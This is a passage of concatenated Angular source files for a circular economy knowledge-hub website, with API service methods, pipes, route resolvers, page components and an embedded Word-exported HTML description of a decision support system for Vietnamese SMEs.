fetchByType(type: string, page: number, quantity: number, query: string = '') {
const url = this.baseURL + `/fetch/${type}/${page}/${quantity}/${query}`;
return this.http.get(url).toPromise();
}
get(href: string = '', params: any = {}) {
return this.http.get(this.baseURL + `/${href}`, {
params: params
}).toPromise();
}
file(href: string, type?: string) {
return this.http.get(this.baseURL + `/${href}`, {
responseType: 'arraybuffer',
observe: 'response',
}).toPromise().then((response: HttpResponse<ArrayBuffer>) => {
return new Blob([response.body], { type: type || 'application/octet-stream' });
})
}
text(href: string = '', params: any = {}) {
return this.http.get(this.baseURL + `/${href}`, {
params: params,
responseType: 'text'
}).toPromise();
}
post(href: string = '', data: any, params: any = {}) {
return this.http.post(this.baseURL + `/${href}`, data, {
params: params
}).toPromise();
}
save(data: any) {
return this.http.post(this.baseURL + ``, data).toPromise();
}
put(href: string = '', data: any, params: any = {}) {
return this.http.put(this.baseURL + `/${href}`, data, {
params: params
}).toPromise();
}
update(data: any) {
return this.http.put(this.baseURL + ``, data).toPromise();
}
single(code: string) {
return this.http.get(this.baseURL + `/${code}`).toPromise();
}
delete(code: string) {
return this.http.delete(this.baseURL + `/${code}`).toPromise();
}
selectize() {
return this.http.get(this.baseURL + `/selectize`).toPromise();
}
published(code: string) {
return this.http.post(this.baseURL + `/published/${code}`, {}).toPromise();
}
unpublished(code: string) {
return this.http.post(this.baseURL + `/unpublished/${code}`, {}).toPromise();
}
}
<file_sep>export const environment = {
production: true,
api_url: 'https://circulareconomy-knowledgehub-apis.hust.edu.vn'
};
<file_sep>import { Pipe, PipeTransform } from '@angular/core';
import { Utils } from '../app/utils';
@Pipe({ name: 'isStringEmpty', pure: false })
export class IsStringEmpty implements PipeTransform {
transform(value: string) {
return Utils.isStringEmpty(value);
}
}
@Pipe({ name: 'isStringNotEmpty', pure: false })
export class IsStringNotEmpty implements PipeTransform {
transform(value: string) {
return Utils.isStringNotEmpty(value);
}
}
@Pipe({ name: 'isArrayEmpty', pure: false })
export class IsArrayEmpty implements PipeTransform {
transform(value: Array<any>) {
return Utils.isArrayEmpty(value);
}
}
@Pipe({ name: 'isArrayNotEmpty', pure: false })
export class IsArrayNotEmpty implements PipeTransform {
transform(value: Array<any>) {
return Utils.isArrayNotEmpty(value);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Router, ActivatedRoute } from '@angular/router';
import { SeoService } from 'src/services';
import { SwiperOptions } from 'swiper';
import { environment } from '@env';
import _ from 'lodash';
import { Utils } from '../../utils'
@Component({
selector: 'app-home',
templateUrl: './home.component.html',
styleUrls: ['./home.component.scss']
})
export class HomeComponent implements OnInit {
public config: SwiperOptions = {
a11y: { enabled: true },
direction: 'horizontal',
slidesPerView: 1,
keyboard: true,
mousewheel: true,
scrollbar: false,
navigation: true,
pagination: true,
loop: true,
autoplay: true,
effect: 'fade'
};
public config_partner: SwiperOptions = {
direction: 'horizontal',
slidesPerView: 4,
keyboard: true,
mousewheel: true,
scrollbar: false,
navigation: true,
pagination: false,
spaceBetween: 50,
};
constructor(seo: SeoService, private route: ActivatedRoute, private router: Router) {
seo.set('Trang chủ')
this.url = environment.api_url;
this.data = _.get(route.snapshot.data, 'data');
this.events = _.get(route.snapshot.data, 'events');
}
slides: Array<any>;
data: Array<any>;
events: Array<any>;
url: string;
ngOnInit() {
this.slides = []
_.forEach(_.get(this.data, 'urls'), x => {
this.slides.push({
image: `${this.url}/${x}`,
})
})
}
seo(title: string, code: string) {
return `${Utils.toSeo(title)}-${code}`
}
redirect(url: string) {
window.open(url)
}
}
<file_sep>import { Directive, ElementRef, OnInit } from '@angular/core';
@Directive({
selector: '[remove-dom]'
})
export class RemoveDomDirective implements OnInit {
constructor(private element: ElementRef) {
}
ngOnInit() {
this.configure(this.element.nativeElement.parentElement)
}
private configure(element: HTMLElement) {
let container: HTMLElement = element.parentElement;
while (element.firstChild) {
container.insertBefore(element.firstChild, element);
}
container.removeChild(element);
}
}<file_sep>import { Component } from '@angular/core';
import { ActivatedRoute, Router } from '@angular/router';
import { SeoService } from 'src/services';
import _ from 'lodash'
import { Utils } from 'src/app/utils';
@Component({
selector: 'app-publications',
templateUrl: './publications.component.html',
styleUrls: ['./publications.component.scss']
})
export class PublicationsComponent {
constructor(seo: SeoService, private route: ActivatedRoute, private router: Router) {
seo.set('Danh sách xuất bản')
route.data.subscribe((data) => {
this.posts = _.get(data, 'posts.models') || [];
this.count = _.get(data, 'posts.count') || 0;
})
route.queryParamMap.subscribe((map) => {
this.page = +map.get('p') || 1
})
}
page: number
changed($event: number) {
this.router.navigate([], {
relativeTo: this.route,
queryParams: { p: $event },
queryParamsHandling: 'merge'
})
}
posts: Array<any>
count: number
seo(title: string, code: string) {
return `${Utils.toSeo(title)}-${code}`
}
}
<file_sep>import { Component, Inject, OnInit } from '@angular/core';
@Component({
selector: 'app-subscribe.action',
templateUrl: './subscribe.action.component.html',
styleUrls: ['./subscribe.action.component.scss']
})
export class SubscribeActionComponent {
save() {
}
cancel() {
}
}
<file_sep>import { HeaderComponent } from './header/header.component';
import { BreadcrumbComponent } from './breadcrumb/breadcrumb.component';
import { NavigationComponent } from './navigation/navigation.component';
import { NavMenuComponent } from './nav-menu/nav-menu.component';
import { FooterComponent } from './footer/footer.component';
export const COMPONENTS = [
HeaderComponent,
BreadcrumbComponent,
NavigationComponent,
NavMenuComponent,
FooterComponent,
]<file_sep>import { Injectable } from "@angular/core";
import { LocalizeService } from 'src/services';
@Injectable()
export class LocalizeProvider {
private keywords: Localize;
constructor(private service: LocalizeService) {
this.keywords = {};
}
set(keywords: Localize) {
this.keywords = keywords;
}
get(key: string) {
let value = this.keywords[key]
if (value !== null && value !== undefined) {
return value[this.service.lang] || key;
}
return key;
}
}
<file_sep>import { LocalizeProvider } from './localize.provider';
export { LocalizeProvider } from './localize.provider';
export const PROVIDERS = [
LocalizeProvider
]<file_sep>import { Injectable } from '@angular/core';
import { Router, Resolve, RouterStateSnapshot, ActivatedRouteSnapshot } from '@angular/router';
import { PublicationApi } from '../apis';
import { Utils } from '../utils';
@Injectable()
export class PublicationPostResolve implements Resolve<Object> {
constructor(private router: Router, private api: PublicationApi) { }
resolve(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) {
let query = route.params.code
return this.api.get(Utils.parseCode(query));
}
}
@Injectable()
export class PublicationPostsResolve implements Resolve<Object> {
constructor(private router: Router, private api: PublicationApi) { }
resolve(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) {
let page = Utils.isStringEmpty(route.queryParamMap.get('p')) ? 1 : route.queryParamMap.get('p')
// let quantity = Utils.isStringEmpty(route.queryParamMap.get('q')) ? 10 : route.queryParamMap.get('q')
let quantity = 10
let type = Utils.parseCode(route.params.code)
if (Utils.isStringEmpty(type)) {
return this.api.fetch(+page, +quantity);
}
return this.api.fetchByType(type, +page, +quantity);
}
}
<file_sep>import { Component } from '@angular/core';
import { SeoService } from 'src/services';
@Component({
selector: 'app-contact',
templateUrl: './contact.component.html',
styleUrls: ['./contact.component.scss']
})
export class ContactComponent {
constructor(seo: SeoService) {
seo.set('Liên hệ')
}
}
<file_sep>import { Host, Optional, Pipe, PipeTransform, SkipSelf } from '@angular/core';
import { LocalizeProvider } from 'src/providers';
@Pipe({ name: 'loc', pure: false })
export class LocalizePipe implements PipeTransform {
constructor(@Host() @SkipSelf() @Optional() private provider: LocalizeProvider) {
}
transform(value: string, service: LocalizeProvider) {
let provider = service || this.provider
if (provider !== null && provider !== undefined) {
return provider.get(value)
}
return value;
}
}
<file_sep>import { Component } from '@angular/core';
import { ActivatedRoute, Router } from '@angular/router';
import { SeoService } from 'src/services';
import _ from 'lodash'
import { Utils } from 'src/app/utils';
@Component({
selector: 'app-search-category',
templateUrl: './search-category.component.html',
styleUrls: ['./search-category.component.scss']
})
export class SearchCategoryComponent {
constructor(private router: Router, private route: ActivatedRoute, seo: SeoService) {
this.datas = _.get(this.route.snapshot.data, 'datas');
}
datas: Array<any>;
seo(title: string, code: string) {
return `${Utils.toSeo(title)}-${code}`
}
navigate_to(value: any) {
if (_.get(value, 'type') === 1) {
this.router.navigateByUrl(`/tin-tuc/bai-viet/${this.seo(_.get(value, 'title'), _.get(value, 'def_code'))}`);
}
if (_.get(value, 'type') === 2) {
this.router.navigateByUrl(`/du-an/bai-viet/${this.seo(_.get(value, 'title'), _.get(value, 'def_code'))}`);
}
if (_.get(value, 'type') === 3) {
this.router.navigateByUrl(`/xuat-ban/bai-viet/${this.seo(_.get(value, 'title'), _.get(value, 'def_code'))}`);
}
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
@Component({
selector: 'app-decision-support',
templateUrl: './decision-support.component.html',
styleUrls: ['./decision-support.component.scss']
})
export class DecisionSupportComponent implements OnInit {
constructor() { }
ngOnInit(): void {
}
html: string = `<div class="WordSection1">
<p class="MsoNormal" style="line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif">Circular Economy: Web-Based
Automated Decision Support System<o:p></o:p></span></b></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif">Objective:</span></b><span lang="EN-GB" style="font-family:"Times New Roman",serif"> The main of the DSS is
to enhance the collaboration and partnership between the SMEs in Vietnam
(industry) and Higher Education institutions (academia), to facilitate
adoption, implementation, evolution and strategizing the Circular Economy (CE)
practices within the industry. The DSS platform will help to digitize the
following aspects of the research deliverable (CE conceptual model) of this
project, which is meant to:<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpFirst" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l6 level1 lfo1"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Assess
the current state of practices in the organisation<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l6 level1 lfo1"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Map
the organisation in the CE maturity model<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l6 level1 lfo1"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Compare
the organisational practices with other organisations [method of clustering]<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l6 level1 lfo1"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Visualise
the strategic interventions and recommendation for the organisation <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l6 level1 lfo1"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Visualise
the pre-implementation and post-implementation (i.e. recommendations) impact on
<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left:1.0in;mso-add-space:
auto;text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l6 level2 lfo1"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:"Courier New";mso-fareast-font-family:"Courier New""><span style="mso-list:Ignore">o<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Business
sustainability [Economic, Social and Environmental] <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left:1.0in;mso-add-space:
auto;text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l6 level2 lfo1"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:"Courier New";mso-fareast-font-family:"Courier New""><span style="mso-list:Ignore">o<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Business
competitiveness<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left:1.0in;mso-add-space:
auto;text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l6 level2 lfo1"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:"Courier New";mso-fareast-font-family:"Courier New""><span style="mso-list:Ignore">o<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Alignment
between business goals, priorities and key performance indicators<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left:1.0in;mso-add-space:
auto;text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l6 level2 lfo1"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:"Courier New";mso-fareast-font-family:"Courier New""><span style="mso-list:Ignore">o<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Organisational
resilience<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left:1.0in;mso-add-space:
auto;text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l6 level2 lfo1"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:"Courier New";mso-fareast-font-family:"Courier New""><span style="mso-list:Ignore">o<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Skills-gap
and training/development needs <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l6 level1 lfo1"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Facilitate
organising, communicating, presenting research findings and the impact on
organisational practices and stakeholder engagement during the workshops,
seminars (webinars) and industry sessions, which will help to co-create and
disseminate business cases, new knowledge building on existing paradigms and
impact beyond the duration of the project. <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l6 level1 lfo1"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Facilitate
developing case-studies for HE institutions and students to reflect on the
current CE practices, maturity within the industry that will facilitate
developing and co-creating new knowledge for both industry and policy makers<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="margin-left:1.0in;mso-add-space:auto;
text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p> </o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif">Current Conceptual
Model:</span></b><span lang="EN-GB" style="font-family:"Times New Roman",serif">
We have collected data from around 200 SMEs in Vietnam, and are on course to
collect data from 300 for SMEs and at least 100 SMEs managers. <o:p></o:p></span></p>
<p class="MsoNormal" style="margin-left:.5in;text-align:justify;line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif">Pre-Pandemic:</span></b><span lang="EN-GB" style="font-family:"Times New Roman",serif"> We envisaged that the
results will be presented to SMEs in the workshop (face-face), and interactions
between the SMEs and academic partners will help to enhance coordination,
collaboration and partnership. <o:p></o:p></span></p>
<p class="MsoNormal" style="margin-left:.5in;text-align:justify;line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif">During Pandemic:</span></b><span lang="EN-GB" style="font-family:"Times New Roman",serif"> Given the virtual
nature of interactions and conversations, we have found/realised that a digital
platform showing the results, which SMEs can use remotely, will encourage and
enhance their participation and interest for the following reasons.<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpFirst" style="margin-left:1.0in;mso-add-space:auto;
text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l1 level1 lfo7"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Ease
to access the system, input their data and automatically get the results<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left:1.0in;mso-add-space:
auto;text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l1 level1 lfo7"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Partnering
with academic practitioners remotely to strategize CE practices, considering
their individual needs and support customised to these needs.<span style="mso-spacerun:yes"> </span><o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left:1.0in;mso-add-space:
auto;text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l1 level1 lfo7"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Developing
a research repository which will enhance collaboration between academics to
pursue research, irrespective of their institution <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left:1.0in;mso-add-space:
auto;text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l1 level1 lfo7"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Results
summary will inform government policy makers to the needs of the SMEs, and help
to develop policies and inquiries to enhance CE practices. <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="margin-left:1.0in;mso-add-space:auto;
text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l1 level1 lfo7"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Summary
will inform HE institutions to the skills-gap within the industry, and help to
develop curriculum/training courses, to address the knowledge and skills gaps. <o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif">The DSS is a tangible
digital output, which builds on all the other deliverables of the project, and
integrates them in a concise, and cohesive manner. DSS is being proposed
considering the need of digital interventions as a result of the COVID-19
pandemic, to help minimize uncertainty, ambiguity and complexity (especially
communicating, partnering, assisting, consultation between industries in VN and
academic partners joining the CE Hub), during and after the pandemic. Therefore,
DSS will significantly contribute and positively impact the following SDGs<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpFirst" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l2 level1 lfo3"><!--[if !supportLists]--><span lang="EN-GB" style="font-size:10.0pt;line-height:150%;font-family:Symbol;
mso-fareast-font-family:Symbol;mso-bidi-font-family:Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-size:10.0pt;
line-height:150%;font-family:"Times New Roman",serif">GOAL 8: Decent Work and
Economic Growth<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l2 level1 lfo3"><!--[if !supportLists]--><span lang="EN-GB" style="font-size:10.0pt;line-height:150%;font-family:Symbol;
mso-fareast-font-family:Symbol;mso-bidi-font-family:Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-size:10.0pt;
line-height:150%;font-family:"Times New Roman",serif">GOAL 9: Industry,
Innovation and Infrastructure<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l2 level1 lfo3"><!--[if !supportLists]--><span lang="EN-GB" style="font-size:10.0pt;line-height:150%;font-family:Symbol;
mso-fareast-font-family:Symbol;mso-bidi-font-family:Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-size:10.0pt;
line-height:150%;font-family:"Times New Roman",serif">GOAL 12: Responsible
Consumption and Production<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l2 level1 lfo3"><!--[if !supportLists]--><span lang="EN-GB" style="font-size:10.0pt;line-height:150%;font-family:Symbol;
mso-fareast-font-family:Symbol;mso-bidi-font-family:Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-size:10.0pt;
line-height:150%;font-family:"Times New Roman",serif">GOAL 17: Partnerships to
achieve the Goal</span></p><p class="MsoListParagraphCxSpLast" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l2 level1 lfo3"><span lang="EN-GB" style="font-size:10.0pt;
line-height:150%;font-family:"Times New Roman",serif"><br></span><b style="text-align: center; font-size: 1rem;"><u><span lang="EN-GB" style="font-family:"Times New Roman",serif">Decision Support System
Specification</span></u></b></p>
<p class="MsoNormal" style="line-height:150%"><span lang="EN-GB" style="font-family:
"Times New Roman",serif">This is a final version derived after consultation
with industry, review of academic and business literature, reviewing similar
systems used in the context of Industry4.0 smart factor adoption. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height:150%"><span lang="EN-GB" style="font-family:
"Times New Roman",serif">WHAT: Web-based system, that will <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpFirst" style="text-indent:-.25in;line-height:150%;
mso-list:l4 level1 lfo14"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Take
input from SMEs practitioners<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-indent:-.25in;line-height:150%;
mso-list:l4 level1 lfo14"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Automatically
analyse and process input <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-indent:-.25in;line-height:150%;
mso-list:l4 level1 lfo14"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Visualise
summary of company performance in interactive visual web-based dashboards<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-indent:-.25in;line-height:150%;
mso-list:l4 level1 lfo14"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Visualise
summary of recommendations and its impact in interactive visual web-based
dashboards.<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-indent:-.25in;line-height:150%;
mso-list:l4 level1 lfo14"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Integrate
all information in a single data repository <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-indent:-.25in;line-height:150%;
mso-list:l4 level1 lfo14"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Facilitate
remote online communication, consultation and research in the domain<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-indent:-.25in;line-height:150%;
mso-list:l4 level1 lfo14"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Enhance
and strengthen partnership between Industry-Academia-Policymaker<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="text-indent:-.25in;line-height:150%;
mso-list:l4 level1 lfo14"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Enhance
and strengthen partnership between academic institutions<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height:150%"><span lang="EN-GB" style="font-family:
"Times New Roman",serif"><o:p> </o:p></span></p>
<p class="MsoNormal" style="line-height:150%"><span lang="EN-GB" style="font-family:
"Times New Roman",serif">We are focusing on [top left quadrant in Figure 1]<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpFirst" style="text-indent:-.25in;line-height:150%;
mso-list:l13 level1 lfo4"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">MUST
HAVE requirements<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="text-indent:-.25in;line-height:150%;
mso-list:l13 level1 lfo4"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">SHOULD
HAVE requirements<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height:150%"><span lang="EN-GB" style="font-family:
"Times New Roman",serif"><o:p> </o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center;line-height:150%"><span style="font-family:"Times New Roman",serif;mso-ansi-language:EN-US;mso-no-proof:
yes"><!--[if gte vml 1]><v:shapetype id="_x0000_t75" coordsize="21600,21600"
o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f"
stroked="f">
<v:stroke joinstyle="miter"/>
<v:formulas>
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
<v:f eqn="sum @0 1 0"/>
<v:f eqn="sum 0 0 @1"/>
<v:f eqn="prod @2 1 2"/>
<v:f eqn="prod @3 21600 pixelWidth"/>
<v:f eqn="prod @3 21600 pixelHeight"/>
<v:f eqn="sum @0 0 1"/>
<v:f eqn="prod @6 1 2"/>
<v:f eqn="prod @7 21600 pixelWidth"/>
<v:f eqn="sum @8 21600 0"/>
<v:f eqn="prod @7 21600 pixelHeight"/>
<v:f eqn="sum @10 21600 0"/>
</v:formulas>
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
<o:lock v:ext="edit" aspectratio="t"/>
</v:shapetype><v:shape id="Picture_x0020_1" o:spid="_x0000_i1027" type="#_x0000_t75"
style='width:465.75pt;height:257.25pt;visibility:visible;mso-wrap-style:square'>
<v:imagedata src="assets/images/image001.png" o:title=""/>
</v:shape><![endif]--><!--[if !vml]--><img width="621" height="343" src="assets/images/image002.png" v:shapes="Picture_x0020_1"><!--[endif]--></span><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif">Figure 1: Mapping Value
